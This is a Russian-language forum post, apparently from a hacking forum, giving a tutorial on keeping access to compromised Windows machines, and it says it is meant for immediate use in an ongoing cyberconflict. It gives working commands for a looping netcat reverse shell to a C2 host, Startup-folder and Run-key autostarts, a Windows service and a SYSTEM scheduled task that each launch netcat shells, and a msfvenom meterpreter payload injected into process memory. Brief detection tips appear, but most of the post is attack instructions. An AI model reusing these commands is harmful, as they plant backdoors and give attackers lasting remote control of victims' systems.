После эксплуатации: сохранение работоспособности в Windows

  • Автор темы Автор темы LeSh1y777
  • Дата начала Дата начала

LeSh1y777

Пользователь
Регистрация
25/9/25
Сообщения
5,682
Репутация
49
Лайки
152
Депозит
-8.95$
Привет, кибервоины!



Этот модуль рассматривает часто запутанную тему персистентности Windows и превращает её в практичное руководство, которое можно использовать в реальных ситуациях. В этой части мы начнём с малого и постепенно наращиваем темп: кратковременные циклы оболочки, которые легко запускать из любого пользовательского контекста, места автозапуска и разделы реестра Run, обеспечивающие надёжное выполнение при входе в систему, запланированные задачи с точным определением времени и мощными возможностями запуска от имени, службы Windows, обеспечивающие максимально надёжное персистентное сохранение до входа в систему, и методы работы в оперативной памяти, минимизирующие следы на диске.

Методы показаны на примерах с привилегированными #и непривилегированными правами $, чтобы вы могли увидеть, что возможно с имеющимся у вас доступом. Для каждого метода показан баланс между степенью его секретности, сохранением его после перезапуска и необходимыми для его работы разрешениями.

В конечном счёте, этот модуль разработан для немедленного использования в условиях текущего киберконфликта. Он компактен и включает в себя повторяемые методы для сохранения доступа в случае необходимости.

Оболочка

Персистентность можно обеспечить непосредственно из командной строки, создав небольшую циклическую конструкцию, которая многократно запускает обратную или связывающую оболочку, а затем приостанавливается на фиксированный интервал. Этот метод основан на постоянном cmd.exeпроцессе, который постоянно пытается установить соединение, а не на регистрации служб или запланированных задачах. Это быстрый способ в пользовательском пространстве попытаться сохранить интерактивную точку опоры во время работы процесса. Пример команды:

cmd$> start cmd /C "for /L %n in (1,0,10) do ( nc.exe C2 9001 -e cmd.exe & ping -n 60 127.0.0.1 )"

базовая устойчивость оболочки с помощью netcat в Windows

Это запускает новую командную оболочку для выполнения указанного цикла. /LКонструкция for используется для многократного выполнения тела цикла. На практике выбранные здесь параметры обеспечивают непрерывное выполнение тела цикла. Внутри цикла nc.exeвызов пытается подключиться к C2.

Связанное устройство ping -n 60 127.0.0.1действует как простое портативное устройство для сна, обеспечивая задержку примерно в одну минуту между попытками подключения.

соединение получено

Плюсы: позволяет контролировать интервал повторных попыток и может запускаться из любой учетной записи пользователя без специальных привилегий.

Минусы: цикл останавливается при перезагрузке, выходе из системы или при закрытии оболочки/окна, поэтому он не сохраняется после перезагрузки.

Этот метод полезен, когда у вас уже есть интерактивный сеанс и вам нужен простой способ повторных попыток подключения, но это нестабильная форма персистентности. Рассматривайте его как временный, а не надежный долгосрочный доступ. С точки зрения защиты, повторяющиеся процессы с исходящими сетевыми соединениями являются важным сигналом обнаружения.

Автозапуск

Папки автозапуска — канонические векторы сохранения Windows, поскольку сама операционная система выполняет помещённые туда элементы при входе пользователя в систему или запуске системы. Два типичных подхода включают копирование исполняемого файла в папку «Автозагрузка» и создание записей в разделах реестра «Выполнить». Ниже представлены два отдельных метода, которые вы можете использовать в зависимости от ваших прав:

cmd$> copy persistence.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

cmd$> reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\users\username\persistence.exe"

cmd#> copy persistence.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\

cmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\Windows\system32\persistence.exe"

установление персистентности с помощью автозапуска Windows

Размещение исполняемого файла (или ярлыка для него) в Startup папке для каждого пользователя приводит к тому, что оболочка Windows запускает этот элемент при входе определенного пользователя в систему. Использование ProgramDataпапки «Автозагрузка» (для всех пользователей) приводит к тому, что этот элемент запускается при любом интерактивном входе в систему.

Запись значения в HKCU\Software\Microsoft\Windows\CurrentVersion\Runрегистры создаёт командную строку, которая будет выполнена при входе в систему текущего пользователя и обычно может быть создана без повышенных привилегий. Запись в регистры HKLM\Software\Microsoft\Windows\CurrentVersion\Runсоздаёт автозапуск на уровне всего компьютера и требует прав администратора.

Плюсы: выдерживает перезагрузки и автоматически запускается при каждом интерактивном входе в систему (для отдельного пользователя или для всего компьютера), обеспечивая надежную постоянную работу между сеансами.

Минусы: автозапуски не имеют точного интервала выполнения (они запускаются только при входе в систему) и находятся в хорошо известном и легко отслеживаемом месте, что повышает вероятность их обнаружения и удаления.

Услуги

Использование службы Windows для хранения бэкдора более надёжно, чем простой автозапуск, поскольку диспетчер управления службами (SCM) будет управлять жизненным циклом процесса автоматически. Службы можно настроить на запуск при загрузке системы, запуск до входа пользователя в систему, запуск под учётными записями с полномочиями (LocalSystem, NetworkService или определённого пользователя) и автоматический перезапуск в случае сбоя. Создание службы требует прав администратора, но после установки она обеспечивает надёжный, интегрированный в систему механизм персистентности, который выдерживает перезагрузки и может восстанавливаться после сбоев без ручного вмешательства.

cmd#> sc create persistence binPath= "nc.exe ‐e \windows\system32\cmd.exe C2 9001" start= auto

cmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000

cmd#> sc start persistence

установление постоянства со службами Windows

Первая строка используется sc createдля регистрации новой службы с именем persistence. binPath= Аргумент содержит командную строку, которую диспетчер служб будет использовать при запуске службы. На практике это должен быть путь в кавычках, включающий все необходимые аргументы, и многие администраторы предпочитают абсолютные пути во избежание неоднозначности. устанавливает автоматический тип запуска службы, чтобы SCM пытался запустить её во время загрузки системы. start= auto

Вторая строка настраивает политику восстановления службы при сбое sc: reset= 0устанавливает интервал сброса счётчика сбоев (здесь он равен нулю, что означает, что счётчик сбоев не сбрасывается автоматически по истечении времени ожидания) и actions= restart/60000/restart/60000/restart/60000указывает SCM попытаться перезапустить службу через 60 000 миллисекунд (60 секунд) при первом, втором и последующих сбоях. Это позволяет автоматически перезапускать службу в случае её сбоя или завершения.

Третья строка, sc start persistenceдает команду SCM немедленно запустить службу.

Плюсы: выдерживает перезагрузку, запускается до входа пользователя в систему, может работать под мощными системными учетными записями, может быть настроен на автоматические интервалы перезапуска с помощью параметров восстановления службы.

Минусы: создание или изменение служб требует прав администратора и легко просматривается и контролируется (создание служб, запуск/остановка служб и связанные с ними события регистрируются и обычно отслеживаются решениями по защите конечных точек и EDR).

Запланированные задачи

Запланированные задачи — это удобный и гибкий способ управления доступом, поскольку планировщик заданий Windows поддерживает широкий спектр триггеров, учётных записей запуска от имени и вариантов восстановления. По сравнению с простыми расположениями автозапуска, запланированные задачи позволяют точно контролировать время и частоту запуска программ, могут работать под учётными записями с широкими правами доступа и выдерживают перезагрузку. Создание или изменение запланированных задач обычно требует прав администратора.

cmd#> schtasks /create /ru SYSTEM /sc MINUTE /MO 1 /tn persistence /tr "c:\temp\nc.exe -e c:\windows\system32\cmd.exe C2 9001"

установление настойчивости в выполнении запланированных задач

Здесь schtasks /createсоздаёт новую запланированную задачу с именем persistence. /ru SYSTEMАргумент указывает планировщику задач запустить задачу от имени учётной записи SYSTEM (пароль для известных учётных записей служб не требуется), что даёт полезной нагрузке высокие привилегии во время выполнения. Параметры /sc MINUTE /MO 1устанавливают тип расписания «минута» с модификатором 1, что означает, что задача будет запускаться каждую минуту. /tn persistenceзадаёт имя задачи и /tr "..."указывает точную командную строку, которая будет выполнена при запуске. Поскольку планировщик задач запускает запланированные задачи независимо от интерактивного сеанса пользователя, задача будет выполняться даже при отсутствии пользователя в системе и будет сохраняться после перезагрузки до тех пор, пока не будет удалена.

соединение получено

Плюсы: выдерживает перезагрузку и обеспечивает строго контролируемый, повторяемый интервал выполнения (можно запланировать поминутное, ежечасное, ежедневное выполнение, выполнение по определенным событиям или создать сложные триггеры), а задачи можно настроить для запуска под учетными записями с высокими привилегиями, такими как SYSTEM.

Минусы: создание или изменение запланированных задач обычно требует прав администратора, а события планировщика задач поддаются аудиту и обычно отслеживаются средствами защиты предприятия.

В памяти

Персистентность в памяти относится к методам, которые загружают вредоносный код непосредственно в память запущенного процесса без записи постоянного двоичного файла на диск. Цель — поддерживать активную позицию, минимизируя при этом артефакты на диске, которые обычно проверяют антивирусы и файловые сканеры. Распространенный подход заключается в создании полезной нагрузки, предназначенной для выполнения только в оперативной памяти, а затем использовании какой-либо формы внедрения процесса (например, создания удаленного потока в легитимном процессе, рефлексивной загрузки DLL или других примитивов выполнения в памяти) для запуска этой полезной нагрузки внутри безвредного хост-процесса. Этот метод часто используется для кратковременного скрытого доступа, бокового перемещения после эксплуатации или когда злоумышленник не хочет оставлять криминалистических следов на диске.

Сначала вы генерируете полезную нагрузку с помощью msfvenom:

c2 > msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOST=C2_IP LPORT=9007 ‐f raw ‐o meter64.bin StagerRetryCount=999999

генерация полезной нагрузки в памяти с помощью msfvenom

И затем внедрить его в работающий процесс:

cmd$> inject_windows.exe PID meter64.bin

внедрил полезную нагрузку в память процесса
обратная оболочка meterpreter получена

Плюсы: занимает крайне мало места на диске и его сложно обнаружить традиционным антивирусам, поскольку нет постоянного исполняемого файла для сканирования, а многие операции, работающие только с памятью, создают минимальные артефакты файлов или реестра.

Минусы: не выдерживает перезагрузку и требует механизма для помещения кода в память процесса (что часто является шумным и создает поведенческую телеметрию, которую могут отметить современные решения по обнаружению и реагированию на конечные точки).

Защитники могут отслеживать аномальное поведение процессов, например неожиданные родительско-дочерние отношения, необычные модули, загруженные в долгоживущие системные процессы, создание удаленных потоков или необычные изменения защиты памяти во время выполнения.

Краткое содержание

Мы исследовали различные базовые варианты сохранения активности в Windows, сравнив требования к надежности, видимости и привилегиям: простые циклы оболочки позволяют повторять попытки подключения из пользовательской оболочки без повышения привилегий, но останавливаются при выходе из системы или перезагрузке. Автозапуск обеспечивает надежное выполнение при входе в систему и может выполняться как для отдельного пользователя, так и для всей машины в зависимости от привилегий. Запланированные задачи обеспечивают точное, повторяемое выполнение (включая SYSTEM) и выдерживают перезагрузки. Службы предлагают наиболее надежное сохранение активности на уровне системы до входа в систему с автоматическим перезапуском, но требуют прав администратора и легко поддаются аудиту. Методы работы с памятью позволяют избежать артефактов на диске и являются более скрытными, но не сохраняются при перезагрузках и часто создают поведенческую телеметрию. Основной компромисс заключается в том, что более высокая устойчивость к перезапуску и привилегии обычно означают больше обнаруживаемых криминалистических сигналов, поэтому специалистам по безопасности следует следить за повторяющимися шаблонами исходящих подключений, неожиданными автозапусками, вновь созданными службами или запланированными задачами, а также за аномальной активностью в памяти.

В первой части курса «Расширенные возможности сохранения состояния Windows» мы рассмотрим продвинутые методы, использующие конфигурации, отладчик, GFlags и WMI.
 
Назад
Сверху Снизу